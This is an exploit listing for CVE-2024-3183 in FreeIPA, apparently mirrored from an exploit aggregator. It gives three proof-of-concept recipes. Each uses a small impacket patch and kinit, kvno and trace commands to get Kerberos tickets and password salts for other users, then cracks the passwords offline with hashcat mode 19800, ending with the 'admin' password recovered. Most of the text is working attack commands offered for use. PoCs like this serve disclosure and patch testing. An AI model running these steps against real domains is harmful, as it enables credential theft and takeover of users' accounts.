Exploit for CVE-2024-3183-POC

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IM10N-CVE-2024-3183-POC
# CVE-2024-3183-POC

POC for CVE-2024-3183 (FreeIPA Rosting)

Impact: A low-privileged user can obtain a hash of the passwords of all domain users and perform offline brute force (kerberoasting).

Patch impacket-getTGT:

  1. Add `decoder.decode.defaultErrorState = stGetValueDecoderByTag` to `impacket/krb5/kerberosv5.py`.
  2. Enjoy!



## POC1:

  1. Add `decoder.decode.defaultErrorState = stGetValueDecoderByTag` to `impacket/krb5/kerberosv5.py`.
  2. You can use impacket-getTGT whith `-service` option and `-debug` option for get salt in one command. `impacket-getTGT test.local/user -debug -service admin`



## POC2:

  1. First, let's request a TGT ticket for an already compromised user "admin". `kinit user` ![foto1](https://assets.kitploit.com/production/public/readmes/36758/cb580fc64fe701473559c795adce1b872939b0d42477e9a0b38e74936ba6a2db.png)
  2. Secondly, we will find out the salt of the "admin" user: `printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt` ![foto2](https://assets.kitploit.com/production/public/readmes/36758/d128e8a56aee61f4ac8428679b336b31290487e481d7588cb0ae23f6544e28e2.png)
  3. Get TGS for "admin": `kvno admin` ![foto](https://assets.kitploit.com/production/public/readmes/36758/3b548771d796217370f71de3b0cd0ce66d771d2056ee33f6a46ed9c2c94f8889.png) ![foto3](https://assets.kitploit.com/production/public/readmes/36758/e96a6b4e2568627f20d106006c72299ce4563a5f38bd324491d747e0d3111804.png)
  4. Use python script (or hashcat mod 19800 with specific salt) for brute force TGS ![foto4](https://assets.kitploit.com/production/public/readmes/36758/7da08aca4d3099956e64a8c856d83925deca45d92307c440ef197928b4196157.png)



1 - TGS, 2 - SALT, 3 - Passwords.

  5. Congratulations, we now have the user password “admin”.



## POC3:

  1. You can use kinit for one move: `kinit -S target user`



and you get TGT who encripted by target user key.